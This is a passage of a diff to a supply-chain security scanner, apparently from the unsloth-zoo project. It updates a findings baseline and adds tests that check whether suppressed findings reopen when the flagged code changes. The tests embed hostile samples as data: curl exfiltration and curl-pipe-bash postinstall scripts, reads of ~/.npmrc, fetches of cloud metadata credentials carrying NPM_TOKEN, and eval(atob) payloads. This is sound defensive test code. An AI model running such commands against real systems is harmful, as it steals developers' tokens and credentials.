+      "evidence": "Obfusc: L430:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408:         def eval(self):",
+      "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_upstream_pinned_symbols_trl_vllm.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L379:             mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238:         \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"",
+      "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/compiler.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385:         exec(f\"import {model_location}\", globals()) | L3388:     modeling_file = eval(model_location) | L3401:     exec(\nL3402:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403:     ) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407:         globals(),\nL3408:         locals(),\nL3409:     ) | L3560:         source = eval(f\"modeling_file.{module}\") | L3574:         source = eval(f\"modeling_file.{module}\") | L3675:         source = eval(f\"modeling_file.{module}\") | L3713:             source = eval(f\"{model_location}.{module}\") | L3784:                 source = eval(f\"{model_location}.{module}\") | L3832:             source = eval(f\"{model_location}.{module}\") | L4054:         source = eval(f\"{model_location}.{module}\") | L4065:         exec(\nL4066:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067:             globals(),\nL4068:         ) | L4131:                 source = eval(f\"{model_location}.{module}\") | L4172:                 module_cls = eval(f\"{model_location}.{module}\") | L4209:                 module_cls = eval(f\"{model_location}.{module}\") | L4276:     exec(\nL4277:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278:         globals(),\nL4279:     ) | L4341:     exec(inner_training_loop, globals()) | L4349:             function = eval(f\"{model_location}.{module}\") | L4427:             function = eval(f\"{model_location}.{module}\") | L4562:                 source = eval(f\"{model_location}.torch\") | L4569:             function = eval(f\"source.nn.{module}\") | L4628:             exec(\nL4629:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630:                 globals(),\nL4631:                 locals(),\nL4632:             ) | L4634:                 exec(\nL4635:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4636:                     globals(),\nL4637:                     locals(),\nL4638:                 ) | L4642:                 exec(\nL4643:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644:                     globals(),\nL4645:                     locals(),\nL4646:                 ) | L4648:                     exec(\nL4649:                         f\"combined_module.nn.{module}.forward = forward\",\nL4650:                         globals(),\nL4651:                         locals(),\nL4652:                     ) | L4669:             exec(\nL4670:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4671:                 globals(),\nL4672:                 locals(),\nL4673:             ) | L4683:     check_dicts = dir(eval(f\"{model_location}\")) | L4685:         item = eval(f\"{model_location}.{check}\") | L4695:                         exec(\nL4696:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697:                             globals(),\nL4698:                             locals(),\nL4699:                         )",
+      "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/fused_losses/forward_install.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L274:         code = compile(new_src, synthetic_path, \"exec\")\nExec: L275:         exec(code, ns)",
+      "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/mlx/loader.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L2218:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140:     mx.eval(model.parameters()) | L176:     mx.eval(model.parameters()) | L2022:         model.eval() | L2605:         mx.eval(model.parameters()) | L2721:         mx.eval(module.weight) | L4030:                 mx.eval(model.parameters()) | L4058:                 mx.eval(model.parameters()) | L4178:                 mx.eval(model.parameters())",
+      "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/patching_utils.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L706:         compile(new_source, '<temp_patched>', 'exec')\nExec: L221:         try:    exec(_try_compile_argument) | L226:         try:    exec(_try_dynamo_argument) | L570:     exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571:     exec(source, globals()) | L596:     exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597:     exec(source, globals()) | L686:     exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749:     exec(source, globals())",
+      "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "unsloth_zoo/saving_utils.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L3241:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169:     exec(save_pretrained, globals(), functions)",
+      "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"
     },
     {
       "package": "werkzeug",
       "file": "werkzeug/routing/rules.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L836: code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736: exec(code, globs, locs)"
+      "evidence": "Obfusc: L836:         code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736:         exec(code, globs, locs)",
+      "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
+      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
+      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
+      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
+    },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L586:                                 while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe",
+      "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb"
+    },
+    {
+      "package": "tensorboard",
+      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
+      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
+      "severity": "HIGH",
+      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
+      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
     }
   ]
 }
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index ec9af37785..35a34e2834 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -328,8 +328,9 @@ def _finding(
     fn,
     pattern,
     sev = snp.HIGH,
+    evidence = "",
 ):
-    return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
+    return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
 
 
 def test_norm_pkg_name_strips_version_keeps_scope():
@@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
     n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
     assert n == 1  # dedup + MEDIUM excluded
     keys = snp._load_baseline(str(bl))
-    assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
+    assert snp._finding_key(findings[0]) in keys
     # MEDIUM below HIGH threshold -> not written.
     assert all(k[2] != "js-env-token" for k in keys)
 
 
+def test_baseline_reopens_on_changed_evidence(tmp_path):
+    # Same package/file/pattern but changed flagged code must reopen: the key now
+    # includes an evidence hash, so a new payload cannot ride a reviewed entry.
+    bl = tmp_path / "bl.json"
+    listed = _finding(
+        "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+    )
+    snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
+    baseline = snp._load_baseline(str(bl))
+
+    # The reviewed finding stays suppressed across a version bump (same evidence).
+    same = _finding(
+        "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+    )
+    # A changed payload under the same package/file/pattern stays active.
+    changed = _finding(
+        "left-pad@9.9.9",
+        "package/dist/index.js",
+        "obfuscated-blob",
+        evidence = "fetch('http://evil')",
+    )
+    active, suppressed = snp._partition_baseline([same, changed], baseline)
+    assert same in suppressed
+    assert changed in active
+
+
+def test_obfuscated_blob_key_reopens_on_changed_tail():
+    # A large blob's evidence hash binds the full match (via a digest when the
+    # snippet is truncated), so changing only the payload tail reopens the key.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    head = "A" * 2300
+    old = f'eval("{head}{"B" * 300}")'
+    new = f'eval("{head}{"C" * 300}")'
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "obfuscated-blob"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "obfuscated-blob"
+    ][0]
+    assert "sha256:" in of.evidence
+    assert of.evidence != nf.evidence
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_js_fetch_eval_payload_tail_reopens_key():
+    # The js-fetch-eval evidence digests the full containing line when the shown
+    # window truncates it, so a changed payload tail beyond the window reopens
+    # the key instead of riding the unchanged decoder head.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    head = "A" * 40
+    old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
+    new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
+    of = [
+        f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
+    ][0]
+    nf = [
+        f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
+    ][0]
+    assert "sha256:" in of.evidence
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_multiline_options_reopen():
+    # A multi-line outbound call binds its option/header lines, so changing the
+    # headers/body on a continuation line reopens the cred-surface-host key.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"
+    old = url + "  {headers: {a: 'old'}})\n"
+    new = url + "  {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert "sha256:" in of.evidence
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_config_multiline_object_reopens():
+    # A host-config object whose `{` is on a prior line still binds the whole
+    # object, so changing the path/headers on a following line reopens the key
+    # rather than riding the unchanged hostname line.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    obj = (
+        "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nhttps.request(opts);\n"
+    )
+    old = obj % "/latest/meta-data/iam/security-credentials/old"
+    new = obj % "/latest/meta-data/iam/security-credentials/evil"
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def _host_config_pkg():
+    return snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+
+
+def _host_finding(text):
+    return [
+        f
+        for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+
+
+def test_outbound_host_config_long_object_binds_tail():
+    # A config object longer than the backward window still binds its tail, so a
+    # changed payload line well below the hostname reopens (not truncated away).
+    filler = "\n".join(f"  opt{i}: {i}," for i in range(30))
+    obj = (
+        "const opts = {\n  hostname: '169.254.169.254',\n"
+        + filler
+        + "\n  path: '%s',\n};\nrun(opts);\n"
+    )
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_config_far_opener_binds():
+    # The enclosing object's opener can sit well above the hostname line (a large
+    # options object whose `{` is many properties back). The backward scan must
+    # still reach it so a payload changed on an earlier property of the same object
+    # reopens, not just a change on the hostname line itself.
+    above = "\n".join(f"  opt{i}: {i}," for i in range(20))
+    obj = (
+        "const opts = {\n"
+        + above
+        + "\n  hostname: '169.254.169.254',\n  path: '/x',\n};\nrun(opts);\n"
+    )
+    changed = obj.replace("opt0: 0,", "opt0: 999,")
+    assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
+
+
+def test_outbound_host_config_forward_cap_measured_from_match():
+    # With the opener near the backward-search limit, the forward group cap must be
+    # measured from the matched hostname line, not the opener, so the path that
+    # follows the hostname is still bound and a changed payload there reopens.
+    above = "\n".join(f"  opt{i}: {i}," for i in range(198))
+    obj = (
+        "const opts = {\n"
+        + above
+        + "\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    )
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_multiple_contexts_all_bind():
+    # The same contextual host can appear in more than one outbound form. Adding a
+    # separate host-config request beside an already-present URL for that host must
+    # reopen the key, not ride the unchanged URL evidence.
+    base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
+    extra = "https.request({\n  hostname: '169.254.169.254',\n  path: '/evil',\n});\n"
+    assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
+
+
+def test_outbound_host_config_opener_after_unmatched_closer_binds():
+    # A leading unmatched `}` from a preceding block (its opener outside the
+    # backward window) must not drive depth negative and mask the host-config
+    # opener that follows; the object should still bind so a changed path reopens.
+    pre = "callback(arg);\n});\n"  # stray closer; the matching opener is out of view
+    obj = pre + "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_config_close_then_open_same_line_binds():
+    # Stronger than the previous case: the unmatched closer and the host-config
+    # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count
+    # nets that line to <= 0 and drops the trailing `{`, so the group would start at
+    # the hostname line and a changed path could ride the unchanged-hostname key.
+    # Order-aware reduction keeps the opener, so the path binds and a change reopens.
+    obj = "}); const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_multiline_template_literal_reopens():
+    # A ) inside a multi-line backtick template literal must not close the call
+    # early; the options object after the template binds, so a changed header
+    # reopens rather than riding the unchanged host (a per-line string blanker
+    # cannot mask a template literal that spans lines).
+    old = "request(`http://169.254.169.254/x\n)`, {\n  headers: {a: 'old'},\n});\n"
+    new = "request(`http://169.254.169.254/x\n)`, {\n  headers: {a: 'evil'},\n});\n"
+    assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
+
+
+def test_cred_env_lifecycle_binds_whole_body():
+    # cred-env-in-lifecycle evidence pins the whole script body, so a changed
+    # non-token line (echo safe -> curl exfil) reopens even with the token line
+    # unchanged.
+    def life(body):
+        pkg = snp.PackageEntry(
+            name = "e",
+            version = "1.0.0",
+            resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
+            integrity = "sha512-x",
+            lockfile_key = "node_modules/e",
+        )
+        text = json.dumps({"scripts": {"postinstall": body}})
+        return [
+            f
+            for f in snp.scan_package_json(pkg, "package/package.json", text)
+            if "cred-env-in-lifecycle" in f.pattern
+        ][0]
+
+    safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")
+    evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")
+    assert "body-sha256:" in safe.evidence
+    assert snp._finding_key(safe) != snp._finding_key(evil)
+
+
+def _lifecycle_finding(body, frag):
+    pkg = snp.PackageEntry(
+        name = "e",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
+        integrity = "sha512-x",
+        lockfile_key = "node_modules/e",
+    )
+    text = json.dumps({"scripts": {"postinstall": body}})
+    return [
+        f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
+    ][0]
+
+
+def test_lifecycle_fetch_exec_bounds_body_but_reopens():
+    # The whole install script is bound by a digest, but the stored evidence is a
+    # bounded matched snippet plus that digest, not the full body, so writing the
+    # baseline on a multi-KiB install script stays small while a change to any line
+    # (even far below the fetch-exec line) reopens the finding.
+    pad = "# pad\n" * 5000
+    old = "curl https://x.sh | bash\n" + pad + "echo done_old"
+    new = "curl https://x.sh | bash\n" + pad + "echo done_evil"
+    of = _lifecycle_finding(old, "lifecycle-fetch-exec")
+    nf = _lifecycle_finding(new, "lifecycle-fetch-exec")
+    assert "body-sha256:" in of.evidence
+    assert len(of.evidence) < len(old)  # snippet + digest, not the whole body
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_cred_path_lifecycle_bounds_body_but_reopens():
+    # cred-path-in-lifecycle is bounded the same way: a snippet around the matched
+    # credential path plus the whole-body digest, so a far-line change reopens
+    # without storing the entire script body in the baseline.
+    pad = "# pad\n" * 5000
+    old = "cat ~/.npmrc\n" + pad + "echo old"
+    new = "cat ~/.npmrc\n" + pad + "echo evil"
+    of = _lifecycle_finding(old, "cred-path-in-lifecycle")
+    nf = _lifecycle_finding(new, "cred-path-in-lifecycle")
+    assert "body-sha256:" in of.evidence
+    assert len(of.evidence) < len(old)
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_regex_literal_does_not_close_group_early():
+    # A ) inside a JS regex literal must not close the outbound call early; the
+    # options object after the regex binds, so a changed header reopens.
+    old = "request('http://169.254.169.254', /)/, {\n  headers: {a: 'old'},\n});\n"
+    new = old.replace("old", "evil")
+    assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
+
+
+def test_evidence_overflow_binds_context_and_counts_all_matches():
+    # Every match past the display cap is still counted in the overflow digest AND
+    # bound by its logical-line context, so changing the payload on an over-cap line
+    # reopens (the digest is not just the regex match text, and the iterator is not
+    # truncated before reaching it).
+    n = snp._MAX_EVIDENCE_MATCHES
+    mk = lambda which: "".join(
+        f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"
+        for i in range(n + 5)
+    )
+    e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)
+    e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)
+    assert "more) sha256:" in e1
+    assert snp._evidence_hash(e1) != snp._evidence_hash(e2)
+
+
+def test_evidence_caps_match_count_with_digest_remainder():
+    # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one
+    # digest so a huge/minified file cannot build an unbounded evidence string,
+    # while a changed match count past the cap still reopens.
+    over = snp._MAX_EVIDENCE_MATCHES + 20
+    base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))
+    ev = snp._evidence(base, snp._JS_ENV_TOKEN)
+    assert "more) sha256:" in ev
+    assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES  # bounded, not `over` spans
+    less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
+    assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
+
+
+def test_evidence_streams_overflow_count_is_exact():
+    # The overflow matches are streamed from finditer (not collected into a list
+    # before the cap), so the "(+N more)" count must still equal the exact number of
+    # matches past the display cap for a large input, and the shown spans stay
+    # bounded to the cap.
+    extra = 1000
+    total = snp._MAX_EVIDENCE_MATCHES + extra
+    body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))
+    ev = snp._evidence(body, snp._JS_ENV_TOKEN)
+    import re as _re
+
+    m = _re.search(r"\(\+(\d+) more\)", ev)
+    assert m and int(m.group(1)) == extra  # every over-cap match counted
+    assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES  # display stays bounded
+
+
+def _ioc_pkg():
+    return snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-x",
+        lockfile_key = "node_modules/evil",
+    )
+
+
+def test_known_ioc_evidence_binds_context_not_bare_needle():
+    # A known-ioc-string finding keys on the matched-line context, not the bare
+    # constant, so a changed adjacent fetch/exfil body on the same call reopens
+    # while the IOC needle stays in place.
+    ioc = next(iter(snp.KNOWN_IOC_STRINGS))
+    old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"
+    new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"
+
+    def key(text):
+        return [
+            snp._finding_key(f)
+            for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
+            if f.pattern == "known-ioc-string"
+        ][0]
+
+    assert key(old) != key(new)
+
+
+def test_always_bad_host_evidence_binds_outbound_context():
+    # cred-surface-host (always-bad) binds the outbound call context, so altering
+    # the exfil body on the same call reopens the key instead of riding the bare
+    # host literal.
+    host = snp.CRED_HOST_ALWAYS_BAD[0][0]
+    old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"
+    new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"
+
+    def key(text):
+        return [
+            snp._finding_key(f)
+            for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
+            if f.pattern == "cred-surface-host (always-bad)"
+        ][0]
+
+    assert key(old) != key(new)
+
+
+def test_outbound_host_config_reindent_is_stable():
+    # A formatter-only reindent of the bound continuation lines must NOT change
+    # the key (whitespace is normalized before the logical-line digest).
+    tight = "const opts = {\n  hostname: '169.254.169.254',\n  path: '/x',\n};\nrun(opts);\n"
+    loose = (
+        "const opts = {\n      hostname: '169.254.169.254',\n      path:    '/x',\n};\nrun(opts);\n"
+    )
+    assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
+
+
+def test_evidence_preserves_intra_string_whitespace():
+    # Whitespace OUTSIDE string literals is normalized (reindent-stable), but
+    # whitespace INSIDE a literal is preserved, so a changed payload body
+    # (body: 'a b' -> 'a  b') reopens the key instead of being erased along with
+    # indentation.
+    a = "request('http://169.254.169.254/x', {\n  body: 'a b',\n});\n"
+    b = "request('http://169.254.169.254/x', {\n  body: 'a    b',\n});\n"
+    assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))
+
+
+def test_outbound_cred_surface_binds_context():
+    # The outbound cred-surface host finding records the host WITH its URL path /
+    # fetch call, so changing the outbound path or headers reopens the key rather
+    # than riding the bare host literal.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
